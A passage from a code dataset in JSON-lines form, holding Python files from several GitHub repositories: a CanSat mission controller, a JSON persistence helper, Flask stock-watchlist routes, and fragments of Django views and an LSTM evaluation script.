HttpResponse(json.dumps(result))\n", "repo_name": "lqchn/lqchn", "sub_path": "lqchn/userAdmin/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 21, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 24, "usage_type": "call"}, {"api_name": "models.basicProf", "line_number": 28, "usage_type": "call"}, {"api_name": "models.User_C", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 36, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 36, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 37, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 37, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 38, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 13, "usage_type": "name"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 45, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 47, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 49, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 51, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 41, "usage_type": "name"}, {"api_name": "models.User_C.objects.all", "line_number": 55, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 55, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 68, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 68, "usage_type": "call"}, {"api_name": "models.User_C.objects.get", "line_number": 72, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 72, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 72, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 91, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 91, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 93, "usage_type": "call"}, {"api_name": "models.User_C.objects.get", "line_number": 97, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 97, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 97, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 137, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 137, "usage_type": "call"}, {"api_name": "models.User_C.objects.get", "line_number": 209, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 209, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 209, "usage_type": "name"}, {"api_name": "forms.uploadPhotoForm", "line_number": 221, "usage_type": "call"}, {"api_name": "School.models.School.objects.all", "line_number": 229, "usage_type": "call"}, {"api_name": "School.models.School.objects", "line_number": 229, "usage_type": "attribute"}, {"api_name": "School.models.School", "line_number": 229, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 239, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 139, "usage_type": "name"}, {"api_name": "models.User_C.objects.get", "line_number": 244, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 244, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 244, "usage_type": "name"}, {"api_name": "forms.uploadPhotoForm", "line_number": 245, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 249, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 251, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 241, "usage_type": "name"}, {"api_name": "models.User_C.objects.all", "line_number": 256, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 256, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 256, "usage_type": "name"}, {"api_name": "models.User_C.objects.get", "line_number": 261, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 261, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 261, "usage_type": "name"}, {"api_name": "models.User_C.objects.get", "line_number": 262, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 262, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 262, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 267, "usage_type": "call"}, {"api_name": "models.User_C.objects.all", "line_number": 273, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 273, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 273, "usage_type": "name"}, {"api_name": "models.User_C.objects.get", "line_number": 278, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 278, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 278, "usage_type": "name"}, {"api_name": "models.User_C.objects.get", "line_number": 279, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 279, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 279, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 291, "usage_type": "call"}, {"api_name": "models.User_C.objects.get", "line_number": 296, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 296, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 296, "usage_type": "name"}, {"api_name": "models.User_C.objects.get", "line_number": 300, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 300, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 300, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 314, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 314, "usage_type": "call"}, {"api_name": "models.User_C.objects.get", "line_number": 319, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 319, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 319, "usage_type": "name"}, {"api_name": "models.User_C.objects.get", "line_number": 323, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 323, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 323, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 337, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 337, "usage_type": "call"}, {"api_name": "School.models.School.objects.all", "line_number": 341, "usage_type": "call"}, {"api_name": "School.models.School.objects", "line_number": 341, "usage_type": "attribute"}, {"api_name": "School.models.School", "line_number": 341, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 352, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 352, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 353, "usage_type": "call"}, {"api_name": "models.User_C.objects.get", "line_number": 357, "usage_type": "call"}, {"api_name": "models.User_C.objects", "line_number": 357, "usage_type": "attribute"}, {"api_name": "models.User_C", "line_number": 357, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 386, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 386, "usage_type": "call"}]} +{"seq_id": "21189477012", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nKeio Wolve'Z cansat2021\nmission function\nAuthor Hikaru Kimura\nlast update:2021/5/31\n\n\"\"\"\n\n#ライブラリの読み込み\nimport time\nimport RPi.GPIO as GPIO\nimport sys\nimport numpy as np\nimport datetime\nimport os\n\n#クラス読み込み\nimport constant as ct\nimport gps\nimport motor\nimport radio\nimport bno055\nimport led\n\nclass Cansat(object):\n \n def __init__(self):\n #オブジェクトの生成\n self.rightmotor = motor.motor(ct.const.RIGHT_MOTOR_IN1_PIN,ct.const.RIGHT_MOTOR_IN2_PIN,ct.const.RIGHT_MOTOR_VREF_PIN)\n self.leftmotor = motor.motor(ct.const.LEFT_MOTOR_IN1_PIN,ct.const.LEFT_MOTOR_IN2_PIN,ct.const.LEFT_MOTOR_VREF_PIN)\n self.gps = gps.GPS()\n self.bno055 = bno055.BNO055()\n self.radio = radio.radio()\n self.RED_LED = led.led(ct.const.RED_LED_PIN)\n self.BLUE_LED = led.led(ct.const.BLUE_LED_PIN)\n self.GREEN_LED = led.led(ct.const.GREEN_LED_PIN)\n \n #開始時間の記録\n self.startTime = time.time()\n self.timer = 0\n self.landstate = 0 #landing stateの中でモータを一定時間回すためにlandのなかでもステート管理するため\n self.v_right = 100\n self.v_left = 100\n \n #変数\n self.state = 0\n self.laststate = 0\n self.landstate = 0\n \n #stateに入っている時刻の初期化\n self.preparingTime = 0\n self.flyingTime = 0\n self.droppingTime = 0\n self.landingTime = 0\n self.pre_motorTime = 0\n self.waitingTime = 0\n self.runningTime = 0\n self.goalTime = 0\n \n #state管理用変数初期化\n self.countPreLoop = 0\n self.countFlyLoop = 0\n self.countDropLoop = 0\n self.countGoal = 0\n self.countAreaLoopEnd=0 # 終了判定用\n self.countAreaLoopStart=0 # 開始判定用\n self.countAreaLoopLose=0 # 見失い判定用\n self.countgrass=0\n \n #GPIO設定\n GPIO.setmode(GPIO.BCM) #GPIOの設定\n GPIO.setup(ct.const.FLIGHTPIN_PIN,GPIO.IN) #フライトピン用\n \n date = datetime.datetime.now()\n self.filename = '{0:%Y%m%d}'.format(date)\n self.filename_hm = '{0:%Y%m%d%H%M}'.format(date)\n \n if not os.path.isdir('/home/pi/Desktop/wolvez2021/Testcode/EtoEtest/%s/' % (self.filename)):\n os.mkdir('/home/pi/Desktop/wolvez2021/Testcode/EtoEtest/%s/' % (self.filename))\n \n \n def setup(self):\n #self.gps.setupGps()\n #self.radio.setupRadio()\n '''\n self.bno055.setupBno()\n\n if self.bno055.begin() is not True:\n print(\"Error initializing device\")\n exit()\n '''\n def sensor(self):\n self.timer = 1000*(time.time() - self.startTime) #経過時間 (ms)\n self.timer = int(self.timer)\n #self.gps.gpsread()\n #self.bno055.bnoread()\n self.writeData()#txtファイルへのログの保存\n '''\n if not self.state == 1: #preparingのときは電波を発しない\n self.sendRadio()#LoRaでログを送信\n '''\n \n def writeData(self):\n '''\n self.Ax=round(self.bno055.Ax,3)\n self.Ay=round(self.bno055.Ay,3)\n self.Az=round(self.bno055.Az,3)\n self.gx=round(self.bno055.gx,3)\n self.gy=round(self.bno055.gy,3)\n self.gz=round(self.bno055.gz,3)\n \n #ログデータ作成。\\マークを入れることで改行してもコードを続けて書くことができる\n datalog = str(self.timer) + \",\"\\\n + str(self.state) + \",\"\\\n + str(self.gps.Time) + \",\"\\\n + str(self.gps.Lat).rjust(6) + \",\"\\\n + str(self.gps.Lon).rjust(6) + \",\"\\\n + str(self.Ax).rjust(6) + \",\"\\\n + str(self.Ay).rjust(6) + \",\"\\\n + str(self.Az).rjust(6) + \",\"\\\n + str(self.gx).rjust(6) + \",\"\\\n + str(self.gy).rjust(6) + \",\"\\\n + str(self.gz).rjust(6) + \",\"\\\n + str(self.rightmotor.velocity).rjust(6) + \",\"\\\n + str(self.leftmotor.velocity).rjust(6)\n '''\n datalog=str(self.timer) + \",\"\\\n + str(self.state)\n print(datalog)\n \n \n with open('/home/pi/Desktop/wolvez2021/Testcode/EtoEtest/%s/%s.txt' % (self.filename,self.filename_hm),mode = 'a') as test: # [mode] x:ファイルの新規作成、r:ファイルの読み込み、w:ファイルへの書き込み、a:ファイルへの追記\n test.write(datalog + '\\n')\n \n \n \n def sendRadio(self):\n datalog = str(self.state) + \",\"\\\n + str(self.gps.Time) + \",\"\\\n + str(self.gps.Lat) + \",\"\\\n + str(self.gps.Lon) + \",\"\\\n #+ str(self.rightmotor.velocity) + \",\"\\\n #+ str(self.leftmotor.velocity)\n self.radio.sendData(datalog) #データを送信\n \n def sequence(self):\n if self.state == 0:\n self.preparing()\n elif self.state == 1:\n self.flying()\n elif self.state == 2:\n self.dropping()\n elif self.state == 3:\n self.landing()\n elif self.state == 4:\n self.waiting()\n elif self.state == 5:\n self.running()\n elif self.state == 6:\n self.goal()\n else:\n self.state = self.laststate #どこにも引っかからない場合何かがおかしいのでlaststateに戻してあげる\n \n def preparing(self):#フライトピンを使う場合はいらないかも（暫定：時間が立ったら移行）\n if self.preparingTime == 0:\n self.preparingTime = time.time()#時刻を取得\n self.RED_LED.led_on()\n self.BLUE_LED.led_off()\n self.GREEN_LED.led_off()\n self.rightmotor.stop()\n self.leftmotor.stop()\n #self.countPreLoop+ = 1\n if not self.preparingTime == 0:\n if time.time() - self.preparingTime > ct.const.PREPARING_TIME_THRE:\n self.state = 1\n self.laststate = 1\n \n def flying(self):#フライトピンが外れたのを検知して次の状態へ以降\n if self.flyingTime == 0:#時刻を取得してLEDをステートに合わせて光らせる\n self.flyingTime = time.time()\n self.RED_LED.led_off()\n self.BLUE_LED.led_on()\n self.GREEN_LED.led_off()\n self.rightmotor.stop()\n self.leftmotor.stop()\n \n '''\n if GPIO.input(ct.const.FLIGHTPIN_PIN) == GPIO.HIGH:#highかどうか＝フライトピンが外れているかチェック\n self.countFlyLoop+=1\n if self.countFlyLoop > ct.const.COUNT_FLIGHTPIN_THRE:#一定時間HIGHだったらステート移行\n self.state = 2\n self.laststate = 2\n \n else:\n self.countFlyLoop = 0 #何故かLOWだったときカウントをリセット\n '''\n if not self.flyingTime == 0:#センサ統合試験用\n if time.time() - self.flyingTime > ct.const.PREPARING_TIME_THRE:\n self.state = 2\n self.laststate = 2\n \n def dropping(self):\n if self.droppingTime == 0:#時刻を取得してLEDをステートに合わせて光らせる\n self.droppingTime = time.time()\n self.RED_LED.led_off()\n self.BLUE_LED.led_off()\n self.GREEN_LED.led_on() \n \n if not self.droppingTime == 0:#センサ統合試験用\n if time.time() - self.droppingTime > ct.const.PREPARING_TIME_THRE:\n self.state = 6\n self.laststate = 6\n '''\n #加速度が小さくなったら着地判定\n if (pow(self.bno055.Ax,2) + pow(self.bno055.Ay,2) + pow(self.bno055.Az,2)) < pow(ct.const.ACC_THRE,2):#加速度が閾値以下で着地判定\n self.countDropLoop+=1\n if self.countDropLoop > ct.const.COUNT_ACC_LOOP_THRE:\n self.state = 3\n self.laststate = 3\n else:\n self.countDropLoop = 0 #初期化の必要あり\n '''\n \"\"\"\n #（予備）時間で着地判定\n if not self.droppingTime == 0:\n if time.time() - self.droppingTime > ct.const.LANDING_TIME_THRE:\n self.state = 3\n self.laststate = 3\n \"\"\"\n \n def landing(self):\n if self.landingTime == 0:#時刻を取得してLED���ステートに合わせて光らせる\n self.landingTime = time.time()\n self.RED_LED.led_on()\n self.BLUE_LED.led_on()\n self.GREEN_LED.led_off()\n \n if not self.landingTime == 0:\n if self.landstate == 0:\n #GPIO.output(ct.const.RELEASING_PIN,1) #電圧をHIGHにして焼き切りを行う\n if time.time()-self.landingTime > ct.const.RELEASING_TIME_THRE:\n #GPIO.output(ct.const.RELEASING_PIN,0) #焼き切りが危ないのでlowにしておく\n self.pre_motorTime = time.time()\n self.landstate = 1\n #焼き切りが終わったあと一定時間モータを回して分離シートから脱出\n elif self.landstate == 1:\n self.rightmotor.go(100)\n self.leftmotor.go(100)\n \n if time.time()-self.pre_motorTime > ct.const.PRE_MOTOR_TIME_THRE:\n self.rightmotor.stop()\n self.leftmotor.stop()\n self.state = 4\n self.laststate = 4\n else:\n pass\n \n def waiting(self):\n if self.waitingTime == 0:#時刻を取得してLEDをステートに合わせて光らせる\n GPIO.output(ct.const.RELEASING_PIN,0) #焼き切りしっぱなしでは怖いので保険\n self.waitingTime = time.time()\n self.RED_LED.led_off()\n self.BLUE_LED.led_on()\n self.GREEN_LED.led_on()\n else:\n self.countDistanceLoopStart=0\n \n def running(self):\n if self.runningTime == 0:#時刻を取得してLEDをステートに合わせて光らせる\n self.runningTime = time.time()\n self.RED_LED.led_on()\n self.BLUE_LED.led_on()\n self.GREEN_LED.led_on()\n \n #以下に画像処理走行プログラム\n \n def goal(self):\n if self.goalTime == 0:#時刻を取得してLEDをステートに合わせて光らせる\n self.goalTime = time.time()\n self.RED_LED.led_off()\n self.BLUE_LED.led_off()\n self.GREEN_LED.led_off()\n \n self.rightmotor.stop()\n self.leftmotor.stop()\n \n\nif __name__ == \"__main__\":\n pass\n", "repo_name": "Hi-kimu/wolvez2021", "sub_path": "Testcode/EtoEtest/cansat.py", "file_name": "cansat.py", "file_ext": "py", "file_size_in_byte": 11067, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "motor.motor", "line_number": 30, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 30, "usage_type": "attribute"}, {"api_name": "motor.motor", "line_number": 31, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 31, "usage_type": "attribute"}, {"api_name": "gps.GPS", "line_number": 32, "usage_type": "call"}, {"api_name": "bno055.BNO055", "line_number": 33, "usage_type": "call"}, {"api_name": "radio.radio", "line_number": 34, "usage_type": "call"}, {"api_name": "led.led", "line_number": 35, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 35, "usage_type": "attribute"}, {"api_name": "led.led", "line_number": 36, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 36, "usage_type": "attribute"}, {"api_name": "led.led", "line_number": 37, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 37, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 40, "usage_type": "call"}, {"api_name": "RPi.GPIO.setmode", "line_number": 72, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 72, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 72, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 73, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 73, "usage_type": "name"}, {"api_name": "constant.const", "line_number": 73, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.IN", "line_number": 73, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 80, "usage_type": "call"}, {"api_name": "time.time", "line_number": 94, "usage_type": "call"}, {"api_name": "time.time", "line_number": 167, "usage_type": "call"}, {"api_name": "time.time", "line_number": 175, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 175, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 181, "usage_type": "call"}, {"api_name": "time.time", "line_number": 199, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 199, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 205, "usage_type": "call"}, {"api_name": "time.time", "line_number": 211, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 211, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 234, "usage_type": "call"}, {"api_name": "time.time", "line_number": 242, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 242, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 244, "usage_type": "call"}, {"api_name": "time.time", "line_number": 251, "usage_type": "call"}, {"api_name": "constant.const", "line_number": 251, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 261, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 261, "usage_type": "name"}, {"api_name": "constant.const", "line_number": 261, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 262, "usage_type": "call"}, {"api_name": "time.time", "line_number": 271, "usage_type": "call"}, {"api_name": "time.time", "line_number": 280, "usage_type": "call"}]} +{"seq_id": "71369821127", "text": "import os\nimport json\nfrom abc import abstractmethod\nfrom Utils import Utils\nfrom Serializable import Serializable\n\nclass Savable(Serializable):\n \"\"\" An object that can be saved and loaded in the file system.\n \"\"\"\n\n @abstractmethod\n def save(self, base_path, file_name):\n \"\"\" Save the object in the file system.\n \"\"\"\n # Serialize the object\n serial = self.serialize()\n # Get the full absolute name of the file\n assert os.path.isabs(base_path)\n file_name = Utils.valid_name(file_name)\n full_name = os.path.join(base_path,file_name)\n # Open the file in write mode\n with open(full_name,'w') as f:\n json.dump(serial,f)\n\n @classmethod\n @abstractmethod\n def load(cls, base_path, file_name, object_class):\n \"\"\" Recreate an object from the file\n\n Args:\n base_path (str): The path of the directory containing the file.\n file_name (str): The name of the file to load.\n object_class (class): The class of the object to recreate.\n \"\"\"\n # Make sure base_path is an absolute path\n assert os.path.isabs(base_path), \"The path \"+base_path+\" is not absolute.\"\n # Verifie that the file exists\n full_name = os.path.join(base_path,file_name)\n assert os.path.exists(full_name), \"The file \"+full_name+\" does not exists.\"\n # Open and get the serialized version of the file\n with open(full_name,'r') as f:\n serial = json.load(f)\n # Return the deserialized version of the file\n return object_class.deserialize(serial)\n", "repo_name": "OeufsDePie/MATRIX", "sub_path": "MatrixGUI/Components/Python/Persistence/Savable.py", "file_name": "Savable.py", "file_ext": "py", "file_size_in_byte": 1622, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "Serializable.Serializable", "line_number": 7, "usage_type": "name"}, {"api_name": "os.path.isabs", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "Utils.Utils.valid_name", "line_number": 19, "usage_type": "call"}, {"api_name": "Utils.Utils", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 23, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 11, "usage_type": "name"}, {"api_name": "os.path.isabs", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 42, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "10248528975", "text": "from crypt import methods\nfrom flask import Blueprint, jsonify, request\nfrom simplejson import dumps\nfrom app.models import db, Watchlist, Stock, User\nfrom flask_login import current_user\n\nwatchlist_routes = Blueprint(\"watchlists\", __name__)\n\n\n@watchlist_routes.route('/')\ndef get_user_watchlist(userId):\n watchlist = Watchlist.query.filter(userId == Watchlist.userId).all()\n res = {}\n if watchlist == None:\n return\n for w in watchlist:\n stock = Stock.query.get(w.stockId)\n db.session.remove()\n res[w.id] = {\n \"id\": w.id,\n \"stockId\": w.stockId,\n \"stockName\": stock.name,\n \"currentPrice\": dumps(stock.price),\n \"ticker\": stock.ticker,\n \"priceAlert\": dumps(w.priceAlert)\n }\n return jsonify(res)\n\n\n@watchlist_routes.route('/change//', methods=[\"PUT\", \"DELETE\"])\ndef change_price_alert(userId, stockId):\n watched = Watchlist.query.filter(userId == Watchlist.userId).filter(stockId == Watchlist.stockId).first()\n\n data = request.get_json()\n\n if request.method == \"DELETE\":\n db.session.delete(watched)\n db.session.commit()\n db.session.remove()\n return \"Removed\"\n\n if request.method == \"PUT\":\n watched.priceAlert = data['amount']\n db.session.commit()\n db.session.remove()\n return \"Updated\"\n\n\n@watchlist_routes.route('/alert/')\ndef get_alerts(userId):\n res = {}\n\n alert = Watchlist.query.filter(userId == Watchlist.userId).all()\n\n\n for a in alert:\n stock = Stock.query.get(a.stockId)\n if a.priceAlert > stock.price:\n res[a.id] = a.to_dict()\n db.session.remove()\n return jsonify(res)\n\n@watchlist_routes.route('/create/', methods=[\"POST\"])\ndef add_watchlist(stockId):\n data = request.get_json()\n watch = Watchlist(\n userId= current_user.id,\n stockId= stockId,\n priceAlert= data['alert']\n )\n db.session.add(watch)\n db.session.commit()\n db.session.remove()\n return \"Added\"\n", "repo_name": "Sheeptoaster/Capstone", "sub_path": "python-project-starter/app/api/watchlist_routes.py", "file_name": "watchlist_routes.py", "file_ext": "py", "file_size_in_byte": 2088, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "app.models.Watchlist.query.filter", "line_number": 12, "usage_type": "call"}, {"api_name": "app.models.Watchlist.query", "line_number": 12, "usage_type": "attribute"}, {"api_name": "app.models.Watchlist", "line_number": 12, "usage_type": "name"}, {"api_name": "app.models.Watchlist.userId", "line_number": 12, "usage_type": "attribute"}, {"api_name": "app.models.Stock.query.get", "line_number": 17, "usage_type": "call"}, {"api_name": "app.models.Stock.query", "line_number": 17, "usage_type": "attribute"}, {"api_name": "app.models.Stock", "line_number": 17, "usage_type": "name"}, {"api_name": "app.models.db.session.remove", "line_number": 18, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 18, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 18, "usage_type": "name"}, {"api_name": "simplejson.dumps", "line_number": 23, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 27, "usage_type": "call"}, {"api_name": "app.models.Watchlist.query.filter", "line_number": 32, "usage_type": "call"}, {"api_name": "app.models.Watchlist.query", "line_number": 32, "usage_type": "attribute"}, {"api_name": "app.models.Watchlist", "line_number": 32, "usage_type": "name"}, {"api_name": "app.models.Watchlist.userId", "line_number": 32, "usage_type": "attribute"}, {"api_name": "app.models.Watchlist.stockId", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.request.get_json", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "app.models.db.session.delete", "line_number": 37, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 37, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 37, "usage_type": "name"}, {"api_name": "app.models.db.session.commit", "line_number": 38, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 38, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 38, "usage_type": "name"}, {"api_name": "app.models.db.session.remove", "line_number": 39, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 39, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "app.models.db.session.commit", "line_number": 44, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 44, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 44, "usage_type": "name"}, {"api_name": "app.models.db.session.remove", "line_number": 45, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 45, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 45, "usage_type": "name"}, {"api_name": "app.models.Watchlist.query.filter", "line_number": 53, "usage_type": "call"}, {"api_name": "app.models.Watchlist.query", "line_number": 53, "usage_type": "attribute"}, {"api_name": "app.models.Watchlist", "line_number": 53, "usage_type": "name"}, {"api_name": "app.models.Watchlist.userId", "line_number": 53, "usage_type": "attribute"}, {"api_name": "app.models.Stock.query.get", "line_number": 57, "usage_type": "call"}, {"api_name": "app.models.Stock.query", "line_number": 57, "usage_type": "attribute"}, {"api_name": "app.models.Stock", "line_number": 57, "usage_type": "name"}, {"api_name": "app.models.db.session.remove", "line_number": 60, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 60, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 65, "usage_type": "name"}, {"api_name": "app.models.Watchlist", "line_number": 66, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 67, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 67, "usage_type": "name"}, {"api_name": "app.models.db.session.add", "line_number": 71, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 71, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 71, "usage_type": "name"}, {"api_name": "app.models.db.session.commit", "line_number": 72, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 72, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 72, "usage_type": "name"}, {"api_name": "app.models.db.session.remove", "line_number": 73, "usage_type": "call"}, {"api_name": "app.models.db.session", "line_number": 73, "usage_type": "attribute"}, {"api_name": "app.models.db", "line_number": 73, "usage_type": "name"}]} +{"seq_id": "26767732895", "text": "from LSTMModel import lstm\nfrom dataset import getData\nfrom parser_my import args\nimport torch\nimport matplotlib.pyplot as plt\nimport os\nos.environ[\"KMP_DUPLICATE_LIB_OK\"]=\"TRUE\"\ndef eval():\n # model = torch.load(args.save_file)\n model = lstm(input_size=args.input_size, hidden_size=args.hidden_size, num_layers=args.layers , output_size=1)\n model.to(args.device)\n checkpoint = torch.load(args.save_file)\n model.load_state_dict(checkpoint['state_dict'])\n preds = []\n labels = []\n close_max, close_min, train_loader, test_loader = getData(args.corpusFile, args.sequence_length, args.batch_size)\n for idx, (x, label) in enumerate(test_loader):\n if args.useGPU:\n x = x.squeeze(1).cuda() # 